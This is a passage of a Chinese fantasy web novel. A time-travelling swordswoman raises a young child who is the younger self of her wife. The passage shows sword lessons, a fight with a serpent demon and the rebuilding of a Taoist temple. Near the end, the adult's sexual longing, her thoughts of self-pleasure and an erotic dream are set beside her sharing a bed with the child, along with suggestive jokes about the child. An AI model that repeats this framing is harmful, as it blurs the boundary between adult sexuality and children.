傅清微飞身上去将兔子灯取了下来,放进屋内,砰的关紧了门,杜绝了寒风。 姬湛雪检查了她的灯,才重新爬上床。 傅清微开玩笑说:“这么喜欢灯,你晚上抱着灯睡。” 姬湛雪搂住她的腰:“不要。” 合上眼睛入睡前,她又瞧了不远处墙角的兔子灯,确认它还在。 她对这盏灯的爱护一直到又一年除夕,傅清微送了她新的兔子灯为止。 天气暖和一些,傅清微就会搬把竹椅在院子里看星星,一看就是大半夜。 姬湛雪年纪小,没她那么好的定力,要么早早回房间睡了,要么早早在傅清微怀里睡着了。 有一天深夜她在傅清微怀里醒来,身上披着衣服,仰头望着满天星斗,问傅清微:“姐姐,你在看什么?” “你看我们头顶的那片星空,是不是静止不动?” “是吧?” “其实不是的,它们在不停地旋转,包括我们所在的星球。”傅清微仰脸看向银河的光带,喃喃道,“所以头是尾,尾也是头。” 她无意间说出的一句话,姬湛雪多年以后才明白她真正的意思。 现在的姬湛雪打了个哈欠,继续把小脑袋枕在她的腿上舒服地睡了。 傅清微低头凝视她玉秀的小脸,指背在上面温柔地抚了又抚。 开春。 姬湛雪练了三个月的字,已经有初学者的风范了,纯古人就是比傅清微这个现代人好使。 她学会了用毛笔写自己和傅清微的名字。 傅清微告诉了她自己的真名,在她刚练字的时候,姬湛雪第一个就想知道她的名字。 这天,傅清微教她写蓬莱观三个字。 姬湛雪铺开宣纸,蘸饱了墨水,深吸一口气,提笔写了三个大字:蓬莱观。 笔迹稚嫩,对傅清微来说却熟悉入骨。 正是后世蓬莱观正门悬挂的那副匾额上的字体。 傅清微将她从书桌的凳子抱下来,蹲下身问她:“你愿不愿意当我的徒儿?” 徒儿就是一生一世、永不分离的意思。 姬湛雪点头:“我愿意。” 第145章 虽说傅清微口头收了徒, 但没有举行正式的拜师仪式,也暂时没有让姬湛雪改口。 姬湛雪依旧管她叫姐姐。 在她心目中,傅清微就是傅清微, 她们就是要一直在一起的, 对师徒没有概念。 生活却有了一点小小的改变。 傅清微开始向她授艺。 姬湛雪的一天有五个时辰, 一半的时间都在读书习字,每天要写好几张大字, 而傅清微要忙的事就多了, 打猎做饭开垦菜地,练功也不能耽误, 所以她的练字进度比不上小朋友是正常的。 傅清微问她愿不愿意给自己当徒儿, 姬湛雪给了肯定的答案以后,傅清微就将她抱回凳子上,让她继续写字。 她自己则出门去了, 就在道观门口, 挑了一棵不太粗的树,剑光出鞘一闪,应声而断。 她掂了掂手中, 站在没修院墙的院子里,喊了声:“小雪。” 里面传来鞋子跳落地面的重音,接着一道身影从门口跑出来,飞快地奔到她面前。 傅清微伸手扶住她踉跄的身子。 ……不知道是太不喜欢写字还是太想见到她。 姬湛雪稳住身形, 看到她手里的物事,哇了一声:“剑!!!” “剑!” 傅清微学她童言童语, 笑着把刚削好的木剑递过去, 说:“给你的。” “给我的!” 姬湛雪激动地重复,接过尺长的木剑, 刚好符合她的身量和手的大小,她拿到木剑在空气里比划了两下,转头对傅清微说:“想学!” 她虽然在一年多里情根长出了一些,但都是对着傅清微,鲜少有外物让她动容。 ……除了闪闪。 现在是剑。 她情绪如此波动,傅清微好像在印证着一个又一个猜测在眼前成真。 傅清微:“我会教你。” 姬湛雪:“开心!” 傅清微弯腰对她说:“开心可以笑,而不是靠嘴巴说出来。” 姬湛雪还不会笑。 姬湛雪努力了一番,笑得不太自然,傅清微摸了摸她的脸,说:“多笑笑就好了,当然,不想笑也没关系。” 姬湛雪立刻板起脸。 小孩觉得这样酷酷的,毕竟是小仙童。 傅清微捏了下她近来长了肉的脸颊,手感好又多捏了好几下,一想到这是师尊年少时,她便爱不释手。 姬湛雪逆来顺受,被她揉得脸都红了,傅清微才清了清嗓子,直起身背负双手。 傅清微的剑开过刃,她将剑身插在地上,手握剑鞘给她一招一式地演练。 她比穆若水耐心好千百倍,每一式都亲自教。 相思剑回剑入鞘摆在墙边,傅清微站在小小的人身后,俯身环住她的肩膀,握着她的手腕,木剑在腕力的带动下挽出简单的剑花,向前疾刺,旋身横扫。 傅清微的脚轻碰了一下姬湛雪的足边,姬湛雪连忙把下盘忘记的动作补上,目视前方。 傅清微带着她稳稳地又刺出一剑。 手把手教了一会儿,傅清微说:“我去做饭,你累了就休息。” “我不累!”姬湛雪立刻说。 “那你就练到吃饭。”年轻女人轻拍了拍她的脑袋。 傅清微转身往厨房走去,拾起了墙边的相思,隐入门内。 她所不知道的是,姬湛雪对剑之所以这么热衷,是因为傅清微斩妖除魔用的就是剑。她每一次神兵天降,手持长剑的身影深深映入幼小的姬湛雪的心灵。 闪闪也是如此。 她要学剑,学到降妖除魔的本事,挣钱请傅清微吃最贵的酒楼。 兔子灯抱不了,一柄木剑还是能抱的。 晚上睡觉,傅清微将小孩抱在怀里,突然被锐物扎了一下,她把姬湛雪推开,看向隔在二人中间的那柄木剑。 傅清微:“……你想谋杀亲师?” 姬湛雪天真无辜,眨了眨眼睛。 傅清微将木剑拿出来,放在枕头边,温和地教导说:“不可以放中间。” 幸好她没削尖,否则非得扎出血不可。 姬湛雪埋在她胸口点了点头。 傅清微:“我会痛。” 姬湛雪给她吹了吹气。 “好了,睡觉。”傅清微大被一盖,把孩子裹了起来。 姬湛雪从被窝里钻出了乌黑的脑袋,回头去望了望枕边的木剑,方重新阖上眼帘。 这把木剑一直陪伴姬湛雪的童年,直到傅清微将自己的相思剑交给她,才封入她的铁盒。 姬湛雪自从学了剑,整日抱着剑不离手。傅清微平时出门都会带着她,哪怕去菜地也不让她离自己的视线。 傅清微用铲子翻土,播蔬菜种,浇水,姬湛雪就在旁边的空地练剑,一招一式,有模有样。 “手再抬高一些。” “这里该转身。” “剑尖再低点,对,就是这样。”女人的声音不疾不徐,温柔耐心,边浇水边教导。 穆若水“自创”的这套剑法剑招华美,傅清微当初就练了许久才熟练,姬湛雪虽有天赋,毕竟岁数还小,完整地记住一整套剑招有困难,动作也有诸多不到位,傅清微就在她身边,随时纠正。 “姐姐。” 年轻女人放下浇菜地的水瓢,来到她的身后,握住她持剑的手,帮她把卡了好几次的招式顺了下去。 不大的山林里,处处留下了姬湛雪幼年习剑的小小身影,她身边也总有一个大人在指导她,形影不离。 一晃眼半个月过去。 在蓬莱观住了不到三个月,她们俩又要下山了。 傅清微兜里没钱了,之前那几百块银元引了山上的水渠,修了两间屋子,所剩无几,再不出去挣钱,娘俩都得喝西北风。 姬湛雪又长大了一岁,已经是一个快六岁的孩子了。 傅清微进了天机阁的悬赏堂,领了几张妖魔画像,顺便问天机阁有没有法子办路引,她总用管锥的度牒也不是事。临时路引基本有时间限制,傅清微怕她路上耽搁到时进不了城,管锥的度牒依旧自留。 修建道观比傅清微想的要更快提上日程,至少得把正门和正殿修了,早点加入道士体制,搞到她自己的度牒。 傅清微在书铺买了便携的笔墨纸砚,带上姬湛雪重新踏上了除魔挣钱的路。 姬湛雪最近沉迷练剑,写字都变得应付了事。在山上千方百计偷懒,找着机会就在屋子里比划两下,被傅清微抓到就蹿到椅子上假装用功,头也不敢抬。 下了山还不彻底释放天性? 傅清微是不可能让她得逞的,出门在外也得好好读书,不过姬湛雪的不爱学习着实令她头疼。 她不是学不会,她就是不喜欢。 人很难勉强自己对不喜欢的事感兴趣。 出门在外的夜晚,傅清微打着玄女娘娘座下弟子的名号歇在村民家,点了蜡烛在桌前铺开宣纸,姬湛雪提着毛笔在画毛毛虫。 傅清微坐在她旁边,勾兑朱砂画符。 笔走龙蛇,黄纸上不断有浅淡金光浮现。 姬湛雪的注意力轻易地被吸引过来,目不转睛地看。 傅清微画的是驱邪符,对应神灵名讳,请求祂镇邪扶正,总而言之是文字最多的一类符。 傅清微平时很少画,既麻烦又不实用,遇到邪了她一剑上去比贴符念咒快得多。 但是为了教育孩子用功读书,她不得不绞尽脑汁、因材施教。 傅清微一本正经:“想不想学?” 姬湛雪小鸡啄米点头。 傅清微将刚画好的符箓推过去,朱砂毛笔都给她,说:“你来学画这张符。” 姬湛雪连忙接过黄纸,小心地拎起朱砂笔,下笔却愣住。 傅清微忍住笑意,耐心地等了会儿,听见身边的小孩呆呆地问道:“姐姐,这些是什么字啊?” 傅清微转过来面向她,在宣纸上把符文拆解了,一个字一个字地教她。 “这是敕。” “什么是敕?” “敕就是令,是命令的意思。一般用在末尾,让神仙快快显灵。” 一灯如豆,昏黄的光盈满室内。 傅清微把姬湛雪抱在怀里,握着她的手一笔一划地在宣纸上写字,一大一小两道身影映在窗户上,几乎融为了一体。 也有紧张危险的时候。 锦城近郊的妖魔都被修者除完了,想挣钱必须走得远一些,二人往东,一路扬名,直到遇到一条五百年的蛇妖,刚刚褪完一层皮,正是功力大增的时候。 傅清微将蛇蜕捡了,能当药材卖钱。她们是无意进了一个山洞才闻到里面的妖气,傅清微装好蛇蜕让姬湛雪拿着躲好,自己迎面和洞口闯入的腥风撞上。 一个照面,傅清微便被蟒蛇粗壮的尾巴抽飞,剑刃划在地面带出一连串的火星,支撑住身形。 姬湛雪很乖,为了不让自己成为她的拖累,躲在山洞的石头缝里一动不动,连呼吸都尽量屏住。 那条灰纹巨蟒直立起来有一人多高,尾巴一圈一圈地盘绕。 傅清微喉咙发痒,眼眶也隐隐发烫,比第一次面临蜘蛛精还恐慌和恶心,因为她怕蛇。 那种滑腻的、冰冷的触感,光凭想象她都心底骤冷,仿佛有蚂蚁在身上爬,后背都是冷汗。 蛇妖碧绿的两盏眼睛冷冷地注视她。 傅清微持剑向下,双手举起:“无意擅入贵宝地,我们可以和平解决吗?” 巨蟒的回应是张开血盆大口朝她吞了过来。 傅清微上次被吞还是饕餮,她当下也不客气地提剑反击,白光掠向蟒蛇的口腔,蛇妖灵敏当即调转身形,用自己坚硬的鳞片迎上去。 叮的一声。 剑气撞在上面只留下一道浅浅的白痕。 傅清微一击撤离,助跑踩上蟒蛇的身子,打算从它的头顶捅穿,脚下却犹如踩在起伏不已的海面,每一块肌肉都在收缩,傅清微只好滑了下来,就地迅速往旁边一滚。 地面被蛇尾重重一抽,留下一道裂痕,土石飞溅。 头顶传来隐隐的雷声,但是隔了一座山,天雷爱莫能助。 傅清微一颗心直往下沉,唯一出去的路被巨蟒挡住,她要是拼死也能从巨蟒的蛇口脱身,可是姬湛雪藏身在山洞更里面,巨蟒的老巢旁边。 她一走,姬湛雪就要成为蟒蛇的盘中餐。 只能战,不能逃。 傅清微握紧了手中长剑,在姬湛雪的视线里,罡气外化的白光从相思剑身一点点漫上来。 她看到傅清微的身影冲了上去,义无反顾。 剑气和白芒在山洞墙壁制造出无数剑痕,巨蟒的身形不仅灵活而且霸道,剑锋从上到下划过蟒蛇的身体,金石铿锵之声不断,连层鳞片都没划破。 傅清微持剑而立,目光坚定,相思剑白芒大盛,几乎笼罩了整座山洞。傅清微终于伤到蟒蛇,绿色的鲜血一滴一滴地淌在地面,巨蟒暴走,尾巴不停地抽向山壁和地面,在山洞大肆破坏。 土石簌簌而下,地动山摇,傅清微不停地闪避,不时还要分神留意洞后的姬湛雪。 巨蟒五百年早已修炼出智慧,蛇尾甩起地上的尖石,朝姬湛雪飞了过去。 傅清微扑了过去,长剑画出圆弧形剑光,将石头尽数挡了回去。 她腰身忽然一紧,被蟒蛇的尾巴缠住,带到身前,对上一双幽幽的绿灯笼。 巨蟒碗口粗的身体一圈一圈地缠绕傅清微的上半身,倾尽了它的所有力量,要将她绞杀在此! 它怒不可遏,自己竟然被一个人类打伤了! 肺部的空气几乎骤然被挤出来,人类羸弱的身体在数倍于自己的力量下不堪一击,骨骼之间挤压摩擦出咯吱的声响。 傅清微的脸色涨得通红,双臂被禁锢紧紧贴着身体,手里的长剑握不住,叮当落在了地上。 每喘一口气胸肺撕裂一般的疼。 她的骨头快碾碎了。 难道她今天就要死在这里了吗?这就是她在这个世界的结局? 傅清微能呼吸到的氧气越来越少,脑子里光怪陆离地闪过许多画面,不是她在这个世界两年的回忆,也不是她现代的前二十年,是和师尊在一起的短短一年。 也好。 她这样想着,慢慢地放弃了生的意志。 在她彻底闭上眼之前,看到了不远处姬湛雪藏在山洞后,簌簌流泪的眼睛。 傅清微脑内的弦嗡的一震。 她不能死。 她还不能死! “回去!”傅清微拼尽力气吼出一声,其实只是嘶哑的一声怒吼,姬湛雪握着短匕流泪的身影被她逼得慢慢退了回去。 傅清微因为牵动本就被挤压的内脏吐出一口血。 她的双手被困,拿不出符箓,最管用的天雷也劈不进山洞里。 她的身体被蟒蛇缠住悬空,使不上力。 有什么办法能脱身? 傅清微看向掉落在几步开外的相思剑,静静地躺在地上。 这是她的剑,从现代到古代,从神兵到凡铁,一步步重新修炼,只有它一直陪伴在她身边。 傅清微孤注一掷地闭上眼,去感应她的剑。 寄托她相思的剑。 山洞里的一切都没了声音,连身体的疼痛都置之度外。 傅清微的脑海里只有她的剑,表情平和。 在蟒蛇看来她已经放弃了抵抗,它从容地一圈又一圈缠缚年轻女人的身体,鲜血不断从她的口中溢出,只待内脏破碎,骨骼尽断,成为一摊软绵绵的烂泥。 姬湛雪死死咬着自己的手臂,泪如雨下,姐姐不让她过去她就不过去。 她不会死的。 她一定不会死的。 傅清微的眉头微不可察轻轻地动了一下。 谁也没注意到地上的长剑剑尖抬高了一公分的距离。 巨蟒全力收紧,进行最后的收割,它的骨骼骤然发力,碧色眼睛余光忽然掠过一道刺眼的银光。 什么?! 那一剑实在太快,如同白虹贯日,剑气暴涨所向披靡,巨蟒来不及反应,当场被刺爆了一只眼球! 它瞎了一只眼,剧痛之下疯狂扭动粗壮的身躯,傅清微因此落了下来,她于半空中睁开眼睛,冷静地抽出巨蟒眼中的长剑,再一次狠狠捅进了它的脑袋! 长剑的剑尖在巨蟒的脑袋里搅了个稀巴烂。 她借插入脑袋的剑柄一跃而起,从下颌到头颅劈了个对穿。 这并非魔气侵蚀的妖魔,只是寻常作乱的蛇妖,没有魔气的修复能力,致命要害被一次次地攻击,早已无力抵抗,只能徒劳地扭动着身躯,蛇尾一次次在地上拍落,扬起土石,直到渐渐停止挣扎。 铺天盖地的绿色血雾里,蟒蛇的巨大身影轰然倒下。 傅清微拄剑跪在地上,剧烈地喘息,苍白唇边咳出一连串的血迹,殷红美丽。 姬湛雪冲她跑了过来。 “姐姐!” 傅清微腾出单手抱住了她,下巴抵在她的肩膀,说:“我没事,只是需要……休息一下。” 说完她双眼一闭,张开手躺在了山洞冰冷的地面上。 她闭着眼,偏头道了一句:“相思?” 相思在她手中轻轻地嗡鸣。 这是相思剑成为凡铁后第一次和她建立感应。 傅清微闭目良久,轻声道:“你的名字果然是我取的。” 怪不得那时只有她叫它相思时才会凝出霜雪回应她,不是它喜欢这个名字,而是这就是它的本名。它自始至终只有过这一个主人,从它还是凡铁的时候,它的主人就一直叫它相思。 头是尾,尾是头。 相思也是。 傅清微放任自己短暂地放空大脑,什么也不想地休息了一会儿。 姬湛雪用水囊里的水打湿了衣服,给她擦拭脸上和手上的血污。 她犹豫了一会儿,小手伸向了傅清微的衣领,露出了半截精致雪白的锁骨。 傅清微:“这里不用擦。” 姬湛雪小心地替她重新掩好,湿布擦过她的侧颈,手腕,裸露在外面的皮肤。 帮她把相思的剑鞘找回来,把长剑插回鞘内。 之后她坐在傅清微身边,等她休息好,一言不发。 傅清微躺了快半个小时,终于缓解了骨头的痛,在姬湛雪的搀扶下坐了起来,又慢慢直起了身,用剑鞘拄着走路。 姬湛雪分外沉默。 两人走出山洞,温暖的阳光重新沐浴在身上。 姬湛雪的脑袋被轻轻揉了一下,她抬起头,正对上女人在阳光下精致的侧脸。 “怎么了一直不说话?”傅清微看向她,琥珀色的瞳仁柔情似水。 “我……”姬湛雪垂眼望着自己的脚尖,沮丧地说,“姐姐,我是不是很没用?” “当然不是,你只是还小。” “可是我长大了就能保护你吗?”姬湛雪不信,她觉得姐姐好像不需要她的保护。 “会啊。” 傅清微将她的脸抬起来,看着她乌黑的眼睛,认真地说:“会的,你会一直保护我。” “真的吗?” “真的。” 姬湛雪被她很容易地哄好了,伸出尾指,说:“拉钩。” “拉什么勾?” “等我长大了,换我来保护你。” 第146章 傅清微被巨蟒打伤, 走不了远路,回到了昨晚留宿的村落,暂且休养几天。 她告诉村民, 在朝东走的某一处山洞里, 有一条被她杀掉的蟒蛇, 让他们把蟒蛇分了去卖钱。 蛇浑身是宝,傅清微只取了方便携带的妖丹和蛇胆, 这么大一条巨蟒, 蛇肉、蛇皮都值钱,足以让村民收获丰厚的一笔。 算是她对这份善缘的报答。 巨蟒的尸身很快被青壮村民联合抬回来, 所有人去村头围观, 嘴巴张得能塞下鸡蛋。 好大……不可思议! 果然只有玄女娘娘座下弟子,才能斩得了这样大的巨蟒! 傅清微的身份一日日坐实,在村里享受神仙礼遇不说, 她看见有人在院门口插香火偷偷拜她, 求她保佑。 有人做了她的泥像,摆在家里上香。 傅清微:“……” 傅清微离开村落那天,身后跪了一地虔诚的村民。 在人眼看不到的维度, 淡淡的金光从村民的周身浮现,流动在空气里,最终落在了一无所觉的傅清微身上。 傅清微的伤在村子里养得差不多,她们这一趟出来了挺长时间, 收获颇丰,干脆就此打道回府。 唯有玄女娘娘座下弟子威名远扬, 随着她的足迹不断传向更远的地方。 路上顺手杀了两只妖魔, 二人回到了锦城城郊。 傅清微:“进城还是回家?” 姬湛雪童声清脆:“回家!” 二人便踏上回蓬莱观的山路,稍作歇息, 第二日再进城换钱。 有了这笔钱,傅清微就可以把正殿和正门修了,把“蓬莱观”的牌匾一挂,和其他宫观搭上线,加入道士体制,拿到她自己的度牒了! 傅清微正满心欢喜地计划,越临近蓬莱观越觉得不对,她闻见了生人的气息。 厨房的烟囱升起阵阵炊烟。 傅清微脸色一变。 她的家—— 姬湛雪比她更快,已经握住自己的短匕冲了过去。 傅清微快步跟上。 没有院墙的院子里用几根竹子搭了晾衣架,是傅清微亲手砍的做的,现在却挂着陌生人的衣服。 厨房里传来烧菜声,一个声音在屋里催促道:“饭好了没有啊?” 厨房说:“快了,快吃饭了。” 姬湛雪一脚踹开了屋门,抬起胳膊,傅清微眼疾手快地将她手臂一扬,袖箭擦着前方男人的头顶飞了过去,撞到墙壁掉落在地。 姬湛雪小脸阴沉。 房里的男人又惊又怒:“你们……” 傅清微抽出背后长剑,剑锋冰冻三尺,冷喝道:“滚出去!” 男人还待磨蹭,被傅清微长剑挑破衣服,在他脖子上擦出一道血痕,连滚带爬地滚出了屋子。 连带他的婆娘,傅清微站在院子里,用剑指着男人的脑袋,二人三下五除二收拾了所有家当,头也不敢回地滚了,彻底消失在视线里。 解决了那两个鸠占鹊巢的人之后,傅清微收起剑回屋。 姬湛雪在一片狼藉的屋子里气得默默掉眼泪。 傅清微蹲下来抱住她,下巴抵着她的肩膀在她耳边说:“没事的,没事的,这些我们都不要了,买新的。” 好在娘俩穷得很稳定,家当不多,重要物品贴身佩戴,包括孩子视若珍宝的小木剑,家里只有一些旧衣服和床褥,没有造成大的经济损失。 可是对姬湛雪幼小的心灵造成了很大的打击。 她扭头跑了出去。 傅清微跟在她后面,见到她只是在道观门口的林子里,用木剑胡乱砍着低矮的灌木和树叶发泄。 傅清微看了一会儿,回去收拾屋子了。 没过多久姬湛雪也回来了,跟在她身边一起收拾,一言不发。 傅清微将床褥打包扔在地上,姬湛雪打了水清理厨房,被碰过的东西也通通不要地丢出去。 她一边擦一边抹了抹眼睛。 两人站在院子里,傅清微摸了摸她的脑袋,说:“我们今晚去城里住。不要担心,我会想办法的,以后不会有这样的情况。” 姬湛雪抱着她的腰,埋在她怀里不说话。 二人刚回家不久便下山,别人睡过的被褥固然不能再用,但有穷苦人家尚且没有这样厚的褥子,傅清微拎着打包的东西下山,送给了山下村寨的村民。 赶在城门关闭的前两刻钟,二人进了锦城,开了间客栈房间下榻。 当晚将情绪低落的姬湛雪哄睡以后,傅清微轻拍着她的背,睁眼一夜无眠。 她们要常常出远门,动辄好几个月,房屋空置在山上,谁都能住进去,挂把锁也不顶用。这是乱世,不是人人安居乐业的盛世。 长此以往,这种事绝不会只发生一次,难道次次只能任人破坏住进她们的家?再将人赶出来? 傅清微决不允许。 姬湛雪也不能再受第二次打击。 她一定要想个办法出来。 * 翌日,天地钱庄。 悬赏堂的桌子上,傅清微又叮叮当当地倒了一堆战利品出来,换了几百块大洋。 主事郝道长亲自接待的她。 傅清微从怀里拿出那颗碧绿的妖丹,亮在掌心,问郝道长:“这个能换钱吗?是一条蟒蛇妖的内丹,不是妖魔。” 郝道长接过鸽子蛋大的内丹,深绿近碧色,成色上等,毫无瑕疵,通体流光。 要知道内丹不是所有妖都有,即便修炼出来,也有残缺不全的,形状不好,色泽黯淡的。 这么一颗妖丹,至少五百年道行,而且在五百年的妖里,这颗妖丹也是漂亮的,漂亮同时意味着实力。 郝道长握着妖丹,不可思议道:“也是你杀的?” 傅清微打开袋子给她看蛇胆。 “在一个山洞偶遇,九死一生。” “可还有别人?” “就我自己。” “你……”郝道长不知道该说什么,伸手按了按她的肩膀,痛心疾首道,“姬道友!真的不加入天机阁吗?我给你申请免试录取,给你朱雀七星宿的木牌。” “不去。”傅清微摇头,问,“能卖多少钱?” “你这么缺钱?” “非常缺。”傅清微不想把自己的伤疤揭给人看,只认真这么说了一句。 郝道长将她拉到一边,低声说:“你这颗妖丹天机阁官方是不收的,但是有个地方收,而且能卖好价钱。我悄悄告诉你……” 傅清微又得知了一条信息渠道。 修行者有自己的“鬼市”,鬼市三月一开,届时所有的修行者都会来到鬼市买卖,或交换手里的物品,里面也会混入化形的妖怪和鬼修,鱼龙混杂。 傅清微这颗妖丹可以高价卖给三才舫,也可以从三才舫购买她所需要的珍稀物品。 傅清微假装没听出来三才舫就是天机阁的马甲,嗯嗯两声,问:“鬼市下次什么时候开?” 郝道长惋惜:“不巧这个月刚开过,要等三个月。” 傅清微又问了地点和如何入内。 天机阁势大,把守鬼市入口的就算不是她们的人,也是深度合作的,傅清微逮着这一根人脉薅到底。 地点好说,届时只要提供凭证和口令,自会有人打开结界放她进去。 郝道长:“你手里不是有管锥的度牒吗?可以出示给我……给守门的人看。” 傅清微:“……多谢道友。” 看到鬼市也是天机阁的,一家人。 傅清微想问的事情太多了,修好道观后怎么加入正规道士阵营,因为道观的门和正殿都没有,她只是粗略问了问,郝道长答得十分耐心,还说如果落成,天机阁愿意助她一臂之力,加快手续办理流程。 傅清微内心受宠若惊,表面云淡风轻地道了谢。 她猜测是自己的这颗妖丹让天机阁对她的实力有了新的认知,既然无法让她加入天机阁,那么就示好拉拢她。对傅清微来说天大的难题,于天机阁只是举手之劳,还能让傅清微记她们的人情,何乐不为? 郝道长恭敬地问出和管锥同样的问题:“不知令派尊师是……” 傅清微一笑:“一介散修。” 散修就是无门无派,独自修炼的修者,傅清微无法解释自己功法的来源,更不想暴露穆若水的名字,索性以散修之名行走天下。 何况如今的蓬莱观确实不存在,某种意义上她确实是散修。 郝道长脸上的恭敬变成了震撼。 散修虽大道独行,逍遥自在,因无玄门正宗师承,没有宗门资源,境界极难突破,大多数人一生天赋到顶也不过玄门弟子中流水平。 像傅清微这样年纪轻轻却修为不俗的散修,实在罕见。 那她要修建道观,岂不是开宗立派?自己当第一代祖师? 而她就要亲眼见证一个宗门的诞生!一位这么年轻的祖师! 郝道长莫名跟着心潮澎湃,退后一步抱拳行礼:“我一定助道友早日建立宗门!名扬天下!” 傅清微:“???” 她怎么突然燃起来了? 傅清微:“咱不急着激动啊,贫道还想问一下郝道友,上哪里可以买到阵法材料?我想给道观布个结界。” 郝道长自从知道她要开宗立派之后,满脑子都是促成美事,布置结界?合理!谁家宗门不设结界? 当即竹筒倒豆子地告诉她。 傅清微担心阵法材料也要去鬼市买,好在不必,城里有几家暗号,卖道教用品的,外面摆的都是唬人的,只要证明是真道士,就能拿到真东西。 傅清微摸了摸怀里的度牒。 管锥真是她的头号贵人,这枚度牒已经不知道帮了她多少忙,她要记清净派一个大恩情。 第二位贵人就是青羊宫的郝道长,沉稳可靠,还莫名的燃。 郝道长送她出结界,依依不舍道:“道观落成一定要记得通知我啊,我要是能抽出空,定然去观看仪式。” 傅清微点头:“一定。” 她转身走出结界,脚步在院子里停了停,让自己小臂的鸡皮疙瘩消下去。 她哪来的落成仪式啊?那玩意多费钱,不如再多买两块砖。 姬湛雪早起就不再提昨天的事了,一如往常,但她不是忘性大的小孩,肯定记在心里了,一根针似的扎着她。 出了钱庄,傅清微晃了晃她的小手,姬湛雪慢半拍地仰起头看她。 傅清微:“我们现在去买新衣服和床褥,你好好挑一挑,这次绝对不会让外人鸠占鹊巢。” 姬湛雪垂下眼,闷闷不乐。 傅清微抬起她的脸:“相不相信我?” 姬湛雪认真地看了看她,点头用力地:“嗯!” 终于高兴起来。 两人手牵手前往布庄,途中傅清微把蛇胆卖给了药铺,又进账一笔。 一整天她们都在采购,买完生活用品,傅清微进了一家卖道教法器、符纸朱砂的店,摆着各类平安符,柜台只有一位,就是店主本人。 傅清微出门在外,风尘仆仆,背负长剑,甫一进门店主便快步出了柜台迎过来:“仙长好,要些什么?” 傅清微方才看过朱砂,都是下等货色,灵力微弱,存了分试探的心思:“要买些朱砂和黄纸。” 店主带她来到柜台,从底下拿出一盒朱砂并黄纸给她。 “仙长看看?” 傅清微打开朱砂盒盖一看,果然成色上好,笑道:“你怎知我要这个?” 店主也笑:“小店开这么多年了,全靠回头客,没有几分眼力见怎么行?仙长道法高深,寻常货色如何入得了您的法眼。” 管锥的度牒倒是没派上用场。 傅清微看这个店合自己眼缘,价钱也实在,先要了朱砂和黄纸,才问:“有没有阵法材料?布置结界常用的即可。” “有的有的。” 店主去里面取货,傅清微带着对朱砂感兴趣的姬湛雪,教她怎么分辨优劣。 她蓦地晃了一下神。 “姐姐?” 出个神的工夫,店主已经抱了一堆材料出来了,傅清微全要了。她在现代只学了一个攻击阵法,一个红线防御,没学过怎么布结界,回去得慢慢摸索,在研究出来以前,她不会踏出蓬莱。 店主给她打包好,笑得合不拢嘴。 傅清微空手进来,拎了个沉甸甸的包裹出门,踏出门槛的那一步,傅清微余光扫见和法器摆放在一起售卖的玄女神像。 她踏出的脚又转了回来。 “老板,你们接定制神像的生意吗?” 蓬莱观正殿的西王母神像并非常规女仙柔美端庄,别说这个时代,连现代都找不到模板,得特别定制。 听傅清微描述了神像外表后,店主表示很有意思,但得加钱。 因为傅清微给不出图纸,只能靠口头传达,期间一次次的沟通和修改都是成本。 傅清微:“我先要一座玄女娘娘的神像,样子就长这样,供奉在道观宫殿里的,大小应该是……” 西王母的神像暂时有困难,到时候偏殿建好了,再把玄女娘娘挪进去,正殿供奉西王母。反正九天玄女是西王母弟子嘛,一定不会生师尊气的。 傅清微觉得自己简直是个天才! 这一趟傅清微解决了许多问题,有钱就是好,最后她去了之前的工匠家,商量正殿和正门的施工事宜,立马抬上日程。 天黑之前,二人雇了辆骡车,大包小包地坐车回蓬莱。 采购一时爽,搬东西火葬场。 傅清微给了返程费,人力搬运东西上山,姬湛雪的小身板,只拿得动装朱砂黄纸的包裹。 傅清微不由感叹天道好轮回,拿人当工具人者,恒为工具人。 饶是如此,姬湛雪任劳任怨地陪她来回走了两趟。 屋前的兔子灯已经挂上了,亮起黑夜里一盏灯火。 搬完最后一趟,天已经黑了好一会儿,傅清微双臂一张躺在光秃秃的石砖床上喘大气,姬湛雪趴在她身上喘小气。 傅清微说:“你要压死我了。” 姬湛雪不管,乌黑的脑袋在她胸口拱了拱。 傅清微:“要不是你年纪小……” 姬湛雪仰起头,亮晶晶:“什么?” 傅清微:“没什么。” 要不是她年纪小,傅清微就当她是大色魔,和穆若水一样,天天占自己便宜。 傅清微身心俱疲,躺在床上半天不想动,心想要是有个温泉泡一泡解解乏多好。 奈何她们家的温泉现在还是泉眼,根本没钱动工。 傅清微活人微死地躺了许久,把身上睡着的小孩挪开,弯腰开始铺床。姬湛雪醒了,趁她铺床的工夫去厨房烧水洗澡,蹦蹦跳跳。 她自理能力很强,到傅清微洗完澡出来后,她已经收拾好自己躺进新被子里睡觉了,小木剑放枕头边。 傅清微一身寝衣坐过来,温柔道:“饿不饿?我去给你做点吃的。” 姬湛雪:“我不饿!” 咕噜咕噜。 傅清微笑道:“肚子都叫了还说不饿。” 姬湛雪把头埋进被子里:“我睡着啦!” 傅清微凑到她脑袋的位置小声说:“我从街上带了两张羊肉烧饼,刚刚放灶上热了一下。” 姬湛雪掀开被子,老实道:“饿了。” 两人分吃了一张羊肉烧饼,傅清微盯着她漱完口,才躺下来抱着她睡觉。 孩子越长越大,粘人劲半点没少,反而越来越紧。 傅清微领口的衣襟都被她蹭歪了,她怀疑姬湛雪对她有部分恋母情结,要是遇到她的岁数再小点,说不定就要扒开她的衣服吃奶了。 想到这里,傅清微不可避免地想起了穆若水。 她和师尊新婚燕尔,正是如胶似漆的时候,身体也刚刚被开发,骤然分离,不仅她的心非常思念她,她的身体也在想她。 平时在外奔波就算了,回到熟悉的蓬莱夜深人静,身心都在诉说思念和躁动。 怀里的小孩呼呼大睡,傅清微只好断绝尝试自我抚慰的心思。 月上梢头,屋檐的兔子灯一荡一荡。 清风明月装饰着窗沿,傅清微闭眼入了梦里。 许是睡前的思念过了临界线,傅清微久违地梦到了穆若水,她们手牵手坐在蓬莱观的后院门口说了好久好久的话,又回到房间做了好久好久的爱。 潮水泛滥成灾。 美梦不愿醒来。 啪啪啪—— 傅清微被姬湛雪的小手拍醒了。 傅清微睁开眼,已经日上三竿,姬湛雪站在她的床头,一只手还在她的脸上。 姬湛雪松了大大的一口气:“终于醒了。” 傅清微感受着冰凉的湿草地,艰难地咽了咽口水,道:“你昨晚有没有听到我说梦话?” 姬湛雪歪了歪脑袋,天真道:“我睡着了,怎么听得到呢?” 傅清微如释重负,抬手用手背挡住自己懊恼的眼神。 她要赶紧把其他屋子建好,和姬湛雪分房睡。 姬湛雪拉开她的手,催促说:“快起来。” 